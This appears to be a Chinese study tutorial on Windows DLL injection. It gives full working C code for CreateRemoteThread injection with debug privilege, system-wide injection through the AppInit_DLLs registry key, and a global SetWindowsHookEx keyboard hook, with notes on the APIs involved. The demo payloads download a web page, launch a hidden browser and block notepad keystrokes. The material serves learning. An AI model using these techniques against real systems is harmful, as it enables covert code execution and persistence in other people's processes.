CreateRomteThread 实现DLL注入
注入功能的代码
#include "windows.h"
#include "tchar.h"
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
_tprintf(L"The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
// #1. 使用dwPID获取目标进程(notepad.exe)的HANDLE
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
// #2. 将szDllName大小的内存分配给目标进程(notepad.exe)内存。
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
// #3. 在分配的内存中写入myhack.dll路径("c:\\myhack.dll")。
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
// #4. 获取LoadLibraryA() API地址。
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
// #5. 在notepad.exe进程中运行线程
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int _tmain(int argc, TCHAR *argv[])
{
if( argc != 3)
{
_tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
return 1;
}
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);
return 0;
}
被注入DLL的代码
#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "urlmon.lib")
#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );
if( !p )
return FALSE;
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!!");
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
}
return TRUE;
}
被注入的DLL就干了两件事,一个是输出了一串字符串,二是下载了一个网页
注入成功
windows10
32bit/64bit
Debug/Release
exe和dll都是Debug版本注入成功会报错
注:
实验成功前提:notepad的kernel32.dll和InjectDll的地址一样
解释使用的API
// 打开进程
HANDLE WINAPI OpenProcess(
__in DWORD dwDesiredAccess, // 要获得该进程的权限
__in BOOL bInheritHandle, // 表示所得到的进程句柄是否可以被继承
__in DWORD dwProcessId // 要打开进程的PID
);
/*
PROCESS_ALL_ACCESS //所有能获得的权限
PROCESS_CREATE_PROCESS //需要创建一个进程
PROCESS_CREATE_THREAD //需要创建一个线程
PROCESS_DUP_HANDLE //重复使用DuplicateHandle句柄
PROCESS_QUERY_INFORMATION //获得进程信息的权限,如它的退出代码、优先级
PROCESS_QUERY_LIMITED_INFORMATION /*获得某些信息的权限,如果获得了PROCESS_QUERY_INFORMATION,也拥有PROCESS_QUERY_LIMITED_INFORMATION权限
PROCESS_SET_INFORMATION //设置某些信息的权限,如进程优先级
PROCESS_SET_QUOTA //设置内存限制的权限,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暂停或恢复进程的权限
PROCESS_TERMINATE //终止一个进程的权限,使用TerminateProcess
PROCESS_VM_OPERATION //操作进程内存空间的权限(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //读取进程内存空间的权限,可使用ReadProcessMemory
PROCESS_VM_WRITE //读取进程内存空间的权限,可使用WriteProcessMemory
SYNCHRONIZE //等待进程终止
*/
LPVOID WINAPI VirtualAllocEx(
__in HANDLE hProcess, // 要开辟空间的进程句柄
__in_opt LPVOID lpAddress, // 想要获取的地址区域
__in SIZE_T dwSize, // 要分配的内存区域的大小(以字节为单位)
__in DWORD flAllocationType, // 内存分配的类型
__in DWORD flProtect // 内存页保护
);
BOOL WINAPI WriteProcessMemory(
__in HANDLE hProcess, // 写入进程的句柄
__in LPVOID lpBaseAddress, // 要写入的地址
__in LPCVOID lpBuffer, // 指向写入的内容
__in SIZE_T nSize, // 写入大小
__out SIZE_T* lpNumberOfBytesWritten // 返回实际写入的字节
);
HANDLE WINAPI CreateRemoteThread(
__in HANDLE hProcess, // 要在指定进程创建远程线程
__in LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针
__in SIZE_T dwStackSize, // 线程栈大小,以字节表示。如果此参数为 0 ,则新线程将使用可执行文件的默认大小
__in LPTHREAD_START_ROUTINE lpStartAddress, // 一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址
__in LPVOID lpParameter, // 传入函数需要的参数
__in DWORD dwCreationFlags, // 创建线程的其它标志,为0,创建后,线程会立即运行
__out LPDWORD lpThreadId // 返回线程ID
);
// 在进程中新创建线程时,系统会通过DLL_THREAD_ATTCH调用所有已存在DLL的DLLMain
DLL_THREAD_ATTACH
// DLL第一次被加载
DLL_PROCESS_ATTACH
AppInit_DLLs
原理
在注册表编辑器中,将要注人的DLL的路径字符串写人AppInit DLLs项目,然后把LoadAppInit DLLs的项目值设置为1。重启后,指定DLL会注人所有运行进程。该方法操作非常简单,但功能相当强大。
上述方法的工作原理是,User32.dll 被加载到进程时,会读取AppInit_ DLLs注册表项,若有值,则调用LoadLibrary( API加载用户DLL。所以,严格地说,相应DLL并不会被加载到所有进程,而只是加载至加载user32.dll的进程。请注意,Windows XP会忽略LoadAppInit_ DLLs 注册表项。
注入的dll
// myhack2.cpp
#include "windows.h"
#include "tchar.h"
#define DEF_CMD L"c:\\Program Files\\Internet Explorer\\iexplore.exe"
#define DEF_ADDR L"http://www.naver.com"
#define DEF_DST_PROC L"notepad.exe"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
TCHAR szCmd[MAX_PATH] = {0,};
TCHAR szPath[MAX_PATH] = {0,};
TCHAR *p = NULL;
STARTUPINFO si = {0,};
PROCESS_INFORMATION pi = {0,};
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
if( !GetModuleFileName( NULL, szPath, MAX_PATH ) )
break;
if( !(p = _tcsrchr(szPath, '\\')) )
break;
if( _tcsicmp(p+1, DEF_DST_PROC) )
break;
wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);
if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,
NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi) )
break;
if( pi.hProcess != NULL )
CloseHandle(pi.hProcess);
break;
}
return TRUE;
}
如果注入的是notepad就执行 IE
步骤
1、运行注册表编辑器regedit.exe,进人如下路径。
HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
编辑修改AppInit_ DLLs表项的值,输人myhack2.dII的完整路径
2、然后修改LoadAppInit_ DLLs注册表项的值为1
3、重启系统会发现所有加载user32.dll的进程都注入了myhack2.dll,如果打开notepad还会启动 IE
SetWindowsHookEx
钩子DLL
#include "stdio.h"
#include "windows.h"
#define DEF_PROCESS_NAME "notepad.exe"
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char szPath[MAX_PATH] = {0,};
char *p = NULL;
if( nCode >= 0 )
{
// bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) )
{
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');
// 比较当前进程名,如果notepad.exe返回非0值
// => 如果返回非0值,则不会将消息发送到钩子
if( !_stricmp(p + 1, DEF_PROCESS_NAME) )
return 1;
}
}
// 一般情况下,请调用CallNextHookEx()
// 向应用程序(或下一钩子)发送消息
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
//如果这个宏存在,就是c++代码,下面的函数就要以c语言的方式导出
//为什么以c语言的方式导出?
//因为以后要用这个dll的这两个函数,以c语言导出的话,函数还是原名,c++函数名字会变化
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HookStart()
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}
__declspec(dllexport) void HookStop()
{
if( g_hHook )
{
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
执行注入的程序
#include "stdio.h"
#include "conio.h"
#include "windows.h"
#define DEF_DLL_NAME "KeyHook.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"
typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();
void main()
{
HMODULE hDll = NULL;
PFN_HOOKSTART HookStart = NULL;
PFN_HOOKSTOP HookStop = NULL;
char ch = 0;
// 加载KeyHook.dll
hDll = LoadLibraryA(DEF_DLL_NAME);
if( hDll == NULL )
{
printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError());
return;
}
// 获取export函数地址
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);
// 开始挂接
HookStart();
// 等待用户输入“q”
printf("press 'q' to quit!\n");
while( _getch() != 'q' ) ;
// 结束挂接
HookStop();
// KeyHook.dll卸载
FreeLibrary(hDll);
}
结果
用到的API
DWORD WINAPI GetModuleFileName(
//被请求路径的加载模块的句柄。如果该参数为NULL, GetModuleFileName将检索当前进程的可执行文件的路径
__in_opt HMODULE hModule,
__out LPTSTR lpFilename,
__in DWORD nSize
);
HHOOK SetWindowsHookEx(
int idHook,// 钩子类型,比如键盘消息钩子
HOOKPROC lpfn,// 钩子执行的程序
HINSTANCE hMod,// 钩子程序所在Dll
DWORD dwThreadId//要挂钩子的线程ID,如果为 0 就是全局钩子,所有进程都要影响
);